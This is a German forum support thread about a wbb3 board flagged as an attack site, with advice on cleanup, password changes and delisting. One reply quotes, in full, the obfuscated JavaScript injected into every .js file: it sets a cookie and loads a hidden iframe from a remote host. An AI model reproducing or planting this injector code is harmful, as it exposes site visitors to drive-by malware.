Wenn ich mein Forum aufrufe wird die Seite von FF als attackierte Webseite gemeldet.
Ichhabe mit via FTP mal die Datein angeschaut aber das ist nix zu erkennen das dort kürzlich änderungen gemacht worden sind.
Kann mir da jemand weiter helfen?
wbb3 als attackierte website gemeldet
-
blinkyth -
February 4, 2016 at 6:48 PM -
Thread is marked as Resolved.
-
Ich glaube da musst Du Dich an Mozilla wenden. Irgendjemand muss dich dort gemeldet haben. Sicherheitshalber würde ich alle Passwörter auch ändern, vielleicht wurde ja von dir wirklich eine Attacke gestartet.
-
Vielleicht hat dich auch jemand aus Jux gemeldet bzw. um Dir eins auszuwischen. Kontaktiere Mozilla um dich da rauszunehmen.
Dennoch ist es sicherer seine Passwörter regelmäßig zu ändern.
-
Es muss nicht umbedingt das Forum dran schuld sein. Hast du externe Werbung oder irgendwelche Counter eingebunden die eventuell infiziert sein könnte ?
-
Habe sie hier mal gecheck, aber ich blicke nicht durch
-
Welche Seiten sind betroffen ? Also auf welcher Seite die Meldung kommt, ich konnte es weder auf Chrome noch auf dem Edge reproduzieren. FF habe ich leider nicht installiert.
Gruß
-
Ich meine eine spezielle Seite wo die Meldung kommt oder betrifft es die komplette Domain ?
-
Mein Kaspersky schlägt auch sofort an!
Alle js Dateien werden gesperrt mit der Angabe
HEUR.Trojan.Script.Iframer
-
Habe mal die Seite bei Virus Total durchlaufen lassen
-
Ich glaube da musst Du Dich an Mozilla wenden.
nein, nicht an mozilla ..das ging iwie von google aus, sowas hatte ich auch mal ..
sicher gehen, dass die seiten wieder sauber und virenfrei sind .. und dann in den webmastertools anmelden..
dort irgendwo findest was..wegen webseitenüberprüfung .. da steht auch irgendwas mit einer .txt datei, die du hochladen sollst..da ist irgendeine prüfnummer drin und muss in den Root des FTP ...
und dann überprüfen die binnen 24 stunden deine seite neu und entsperren die wieder ...(sofern sie wieder clean ist! )ist schon lange her, hab leider keine direktlinks mehr .. aber so war das damals bei mir .. bei meinem wbb2 mal ..
-
Da scheinen alle .js Dateien kompromittiert zu sein, überall am Ende des Codes so seltsame Zeichen die bestimmt nicht da hingehören.
Display Spoiler
/*a15d8e062e5d6552d67a45ca71ad7291*/;window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x7a\x79\x74\x79\x7a"]=["\x32\x38\x36\x33\x32\x39\x37\x62\x37\x36\x36\x31\x37\x32\x32\x30\x36\x34\x32\x30\x33\x64\x32\x30\x36\x65\x36\x35\x37\x37\x32\x30\x34\x34\x36\x31\x37\x34\x36\x35\x32\x38\x32\x39\x33\x62\x36\x34\x32\x65\x37\x33\x36\x35\x37\x34\x34\x34\x36\x31\x37\x34\x36\x35\x32\x38\x36\x34\x32\x65\x36\x37\x36\x35\x37\x34\x34\x34\x36\x31\x37\x34\x36\x35\x32\x38\x32\x39\x32\x62\x36\x33\x32\x39\x33\x62\x37\x64\x36\x39\x36\x36\x32\x38\x36\x31\x32\x30\x32\x36\x32\x36\x32\x30\x36\x32\x32\x39\x32\x30\x36\x34\x36\x66\x36\x33\x37\x35\x36\x64\x36\x35\x36\x65\x37\x34\x32\x65","\x36\x36\x36\x31\x36\x63\x37\x33\x36\x35\x33\x62\x37\x64\x36\x36\x37\x35\x36\x65\x36\x33\x37\x34\x36\x39\x36\x66\x36\x65\x32\x30\x37\x38\x33\x33\x33\x33\x36\x32\x37\x31\x32\x38\x36\x31\x32\x39\x37\x62\x37\x36\x36\x31\x37\x32\x32\x30\x36\x32\x32\x30\x33\x64\x32\x30\x36\x65\x36\x35\x37\x37\x32\x30\x35\x32\x36\x35\x36\x37\x34\x35\x37\x38\x37\x30\x32\x38\x36\x31\x32\x62\x32\x37\x33\x64\x32\x38\x35\x62\x35\x65\x33\x62\x35\x64\x32\x39\x37\x62\x33\x31\x32\x63\x37\x64\x32\x37\x32\x39\x33\x62\x37\x36\x36\x31\x37\x32\x32\x30\x36\x33\x32\x30\x33\x64\x32\x30","\x36\x33\x36\x66\x36\x66\x36\x62\x36\x39\x36\x35\x32\x30\x33\x64\x32\x30\x36\x31\x32\x62\x32\x37\x33\x64\x32\x37\x32\x62\x36\x32\x32\x62\x32\x38\x36\x33\x32\x30\x33\x66\x32\x30\x32\x37\x33\x62\x32\x30\x36\x35\x37\x38\x37\x30\x36\x39\x37\x32\x36\x35\x37\x33\x33\x64\x32\x37\x32\x62\x36\x34\x32\x65\x37\x34\x36\x66\x35\x35\x35\x34\x34\x33\x35\x33\x37\x34\x37\x32\x36\x39\x36\x65\x36\x37\x32\x38\x32\x39\x32\x30\x33\x61\x32\x30\x32\x37\x32\x37\x32\x39\x33\x62\x36\x35\x36\x63\x37\x33\x36\x35\x32\x30\x37\x32\x36\x35\x37\x34\x37\x35\x37\x32\x36\x65\x32\x30","\x36\x66\x36\x33\x37\x35\x36\x64\x36\x35\x36\x65\x37\x34\x32\x65\x36\x33\x37\x32\x36\x35\x36\x31\x37\x34\x36\x35\x34\x35\x36\x63\x36\x35\x36\x64\x36\x35\x36\x65\x37\x34\x32\x38\x32\x32\x36\x34\x36\x39\x37\x36\x32\x32\x32\x39\x33\x62\x37\x36\x36\x31\x37\x32\x32\x30\x37\x38\x33\x32\x33\x32\x37\x31\x37\x31\x32\x30\x33\x64\x32\x30\x32\x32\x36\x38\x37\x34\x37\x34\x37\x30\x33\x61\x32\x66\x32\x66\x36\x61\x37\x33\x32\x65\x37\x30\x36\x66\x36\x63\x36\x65\x37\x35\x33\x34\x36\x35\x37\x37\x37\x34\x36\x31\x36\x65\x33\x34\x36\x39\x37\x37\x36\x62\x36\x39\x32\x65","\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x7b\x76\x61\x72\x20\x68\x6b\x6b\x62\x74\x3d\x22\x22\x3b\x76\x61\x72\x20\x73\x74\x65\x68\x65\x3d\x22\x37\x37\x36\x39\x36\x65\x36\x34\x36\x66\x37\x37\x32\x65\x36\x66\x36\x65\x36\x63\x36\x66\x36\x31\x36\x34\x32\x30\x33\x64\x32\x30\x36\x36\x37\x35\x36\x65\x36\x33\x37\x34\x36\x39\x36\x66\x36\x65\x32\x38\x32\x39\x37\x62\x36\x36\x37\x35\x36\x65\x36\x33\x37\x34\x36\x39\x36\x66\x36\x65\x32\x30\x37\x38\x33\x32\x33\x32\x36\x32\x37\x31\x32\x38\x36\x31\x32\x63\x36\x32\x32\x63\x36\x33\x32\x39\x37\x62\x36\x39\x36\x36","\x33\x64\x35\x34\x37\x37\x36\x39\x37\x35\x36\x35\x33\x31\x33\x32\x33\x33\x32\x32\x33\x62\x37\x38\x33\x32\x33\x32\x36\x34\x37\x31\x32\x65\x36\x39\x36\x65\x36\x65\x36\x35\x37\x32\x34\x38\x35\x34\x34\x64\x34\x63\x33\x64\x32\x32\x33\x63\x36\x34\x36\x39\x37\x36\x32\x30\x37\x33\x37\x34\x37\x39\x36\x63\x36\x35\x33\x64\x32\x37\x37\x30\x36\x66\x37\x33\x36\x39\x37\x34\x36\x39\x36\x66\x36\x65\x33\x61\x36\x31\x36\x32\x37\x33\x36\x66\x36\x63\x37\x35\x37\x34\x36\x35\x33\x62\x37\x61\x32\x64\x36\x39\x36\x65\x36\x34\x36\x35\x37\x38\x33\x61\x33\x31\x33\x30\x33\x30","\x33\x30\x33\x62\x37\x34\x36\x66\x37\x30\x33\x61\x32\x64\x33\x31\x33\x30\x33\x30\x33\x30\x37\x30\x37\x38\x33\x62\x36\x63\x36\x35\x36\x36\x37\x34\x33\x61\x32\x64\x33\x39\x33\x39\x33\x39\x33\x39\x37\x30\x37\x38\x33\x62\x32\x37\x33\x65\x33\x63\x36\x39\x36\x36\x37\x32\x36\x31\x36\x64\x36\x35\x32\x30\x37\x33\x37\x32\x36\x33\x33\x64\x32\x37\x32\x32\x32\x62\x37\x38\x33\x32\x33\x32\x37\x31\x37\x31\x32\x62\x32\x32\x32\x37\x33\x65\x33\x63\x32\x66\x36\x39\x36\x36\x37\x32\x36\x31\x36\x64\x36\x35\x33\x65\x33\x63\x32\x66\x36\x34\x36\x39\x37\x36\x33\x65\x32\x32","\x36\x35\x37\x34\x37\x35\x37\x32\x36\x65\x32\x30\x36\x33\x35\x62\x33\x31\x35\x64\x32\x30\x33\x66\x32\x30\x36\x33\x35\x62\x33\x31\x35\x64\x32\x30\x33\x61\x32\x30\x36\x36\x36\x31\x36\x63\x37\x33\x36\x35\x33\x62\x37\x64\x37\x36\x36\x31\x37\x32\x32\x30\x37\x38\x33\x33\x33\x33\x36\x34\x37\x31\x32\x30\x33\x64\x32\x30\x37\x38\x33\x33\x33\x33\x36\x32\x37\x31\x32\x38\x32\x32\x36\x31\x36\x34\x32\x64\x36\x33\x36\x66\x36\x66\x36\x62\x36\x39\x36\x35\x32\x32\x32\x39\x33\x62\x36\x39\x36\x36\x32\x38\x32\x30\x37\x38\x33\x33\x33\x33\x36\x34\x37\x31\x32\x30\x32\x31","\x36\x32\x32\x65\x36\x35\x37\x38\x36\x35\x36\x33\x32\x38\x36\x34\x36\x66\x36\x33\x37\x35\x36\x64\x36\x35\x36\x65\x37\x34\x32\x65\x36\x33\x36\x66\x36\x66\x36\x62\x36\x39\x36\x35\x32\x39\x33\x62\x36\x39\x36\x36\x32\x38\x36\x33\x32\x39\x32\x30\x36\x33\x32\x30\x33\x64\x32\x30\x36\x33\x35\x62\x33\x30\x35\x64\x32\x65\x37\x33\x37\x30\x36\x63\x36\x39\x37\x34\x32\x38\x32\x37\x33\x64\x32\x37\x32\x39\x33\x62\x36\x35\x36\x63\x37\x33\x36\x35\x32\x30\x37\x32\x36\x35\x37\x34\x37\x35\x37\x32\x36\x65\x32\x30\x36\x36\x36\x31\x36\x63\x37\x33\x36\x35\x33\x62\x37\x32","\x37\x37\x37\x33\x32\x66\x36\x31\x36\x34\x36\x64\x36\x35\x36\x34\x36\x39\x36\x31\x32\x66\x33\x66\x36\x39\x36\x34\x33\x64\x33\x38\x33\x36\x33\x39\x33\x35\x33\x38\x33\x33\x33\x34\x32\x36\x36\x62\x36\x35\x37\x39\x37\x37\x36\x66\x37\x32\x36\x34\x33\x64\x33\x31\x36\x35\x33\x30\x36\x35\x33\x34\x33\x38\x33\x31\x33\x39\x33\x33\x33\x32\x33\x37\x36\x35\x33\x34\x33\x39\x33\x37\x33\x35\x36\x36\x33\x33\x33\x39\x33\x31\x33\x30\x33\x31\x36\x33\x36\x35\x36\x32\x33\x38\x36\x32\x33\x31\x36\x33\x36\x33\x33\x37\x33\x36\x32\x36\x36\x31\x36\x34\x35\x66\x36\x39\x36\x34","\x33\x62\x36\x34\x36\x66\x36\x33\x37\x35\x36\x64\x36\x35\x36\x65\x37\x34\x32\x65\x36\x32\x36\x66\x36\x34\x37\x39\x32\x65\x36\x31\x37\x30\x37\x30\x36\x35\x36\x65\x36\x34\x34\x33\x36\x38\x36\x39\x36\x63\x36\x34\x32\x38\x37\x38\x33\x32\x33\x32\x36\x34\x37\x31\x32\x39\x33\x62\x37\x64\x37\x64\x22\x3b\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x62\x65\x7a\x62\x79\x3d\x30\x3b\x62\x65\x7a\x62\x79\x3c\x73\x74\x65\x68\x65\x2e\x6c\x65\x6e\x67\x74\x68\x3b\x62\x65\x7a\x62\x79\x2b\x3d\x32\x29\x7b\x68\x6b\x6b\x62\x74\x3d\x68\x6b\x6b\x62\x74\x2b\x70\x61\x72\x73\x65\x49","\x6e\x74\x28\x73\x74\x65\x68\x65\x2e\x73\x75\x62\x73\x74\x72\x69\x6e\x67\x28\x62\x65\x7a\x62\x79\x2c\x62\x65\x7a\x62\x79\x2b\x32\x29\x2c\x20\x31\x36\x29\x2b\x22\x2c\x22\x3b\x7d\x68\x6b\x6b\x62\x74\x3d\x68\x6b\x6b\x62\x74\x2e\x73\x75\x62\x73\x74\x72\x69\x6e\x67\x28\x30\x2c\x68\x6b\x6b\x62\x74\x2e\x6c\x65\x6e\x67\x74\x68\x2d\x31\x29\x3b\x65\x76\x61\x6c\x28\x65\x76\x61\x6c\x28\x27\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x27\x2b\x68\x6b\x6b\x62\x74\x2b\x27\x29\x27\x29\x29\x3b\x7d\x29\x28\x29\x3b","\x33\x64\x32\x30\x32\x32\x36\x35\x37\x32\x33\x32\x37\x36\x36\x34\x37\x32\x33\x35\x36\x37\x36\x34\x36\x33\x33\x33\x36\x34\x37\x33\x32\x32\x32\x39\x37\x62\x37\x38\x33\x32\x33\x32\x36\x32\x37\x31\x32\x38\x32\x32\x36\x31\x36\x34\x32\x64\x36\x33\x36\x66\x36\x66\x36\x62\x36\x39\x36\x35\x32\x32\x32\x63\x32\x32\x36\x35\x37\x32\x33\x32\x37\x36\x36\x34\x37\x32\x33\x35\x36\x37\x36\x34\x36\x33\x33\x33\x36\x34\x37\x33\x32\x32\x32\x63\x33\x31\x32\x39\x33\x62\x37\x36\x36\x31\x37\x32\x32\x30\x37\x38\x33\x32\x33\x32\x36\x34\x37\x31\x32\x30\x33\x64\x32\x30\x36\x34"];var fzedt=ynshs=kbfkz=window["\x64\x6f"+"\x63\x75"+"\x6d\x65"+"\x6e\x74"]["\x7a\x79\x74\x79\x7a"],tdafk=window;eval(eval("[tdafk[\"\x79\x6e\x73\x68\x73\"][\"\x34\"],tdafk[\"\x66\x7a\x65\x64\x74\"][\"\x30\"],tdafk[\"\x79\x6e\x73\x68\x73\"][\"\x32\"],tdafk[\"fzedt\"][\"\x31\"],tdafk[\"ynshs\"][\"\x38\"],tdafk[\"kbfkz\"][\"\x37\"],tdafk[\"\x79\x6e\x73\x68\x73\"][\"\x31\x32\"],tdafk[\"\x79\x6e\x73\x68\x73\"][\"\x33\"],tdafk[\"\x6b\x62\x66\x6b\x7a\"][\"\x39\"],tdafk[\"ynshs\"][\"\x35\"],tdafk[\"fzedt\"][\"\x36\"],tdafk[\"kbfkz\"][\"\x31\x30\"],tdafk[\"kbfkz\"][\"\x31\x31\"]].join(\"\");"));/*a15d8e062e5d6552d67a45ca71ad7291*/
-
Alle Passwörter ändern, insbesondere für FTP und den Kundenbereich bei deinem Hoster, dann solltest du dein WBB neu aufsetzen und genau drauf achten, was du installierst. Das jetzige bekommst du nicht mehr sauber denke ich...
Wieder freischalten kann man sich hier: https://support.mozilla.org/de/kb/wie-funktioniert-schutz-vor-betrugsversuchen-und-schadprogrammen?as=u&utm_source=inproduct#w_ich-kann-versichern-dass-meine-seite-sicher-ist-wie-kann-ich-sie-wieder-von-den-listen-entfernen-lassen
-
Ich weiss nicht wie Relevant es ist aber da läuft nginx 1.2.1 also auch nen älteres Modell
Also im Grunde auch den Server mal richtig prüfen lassen und vor allem Updates machen oder wenigstens den Hoster mal drauf ansprechen.
-
Du bist hier im 3.1er Support-Bereich, daher gehe ich davon aus, dass du ein 3.1 hast. Du kannst aber genau so jede andere Version nehmen, das stimmt schon.
Participate now!
Don’t have an account yet? Register yourself now and be a part of our community!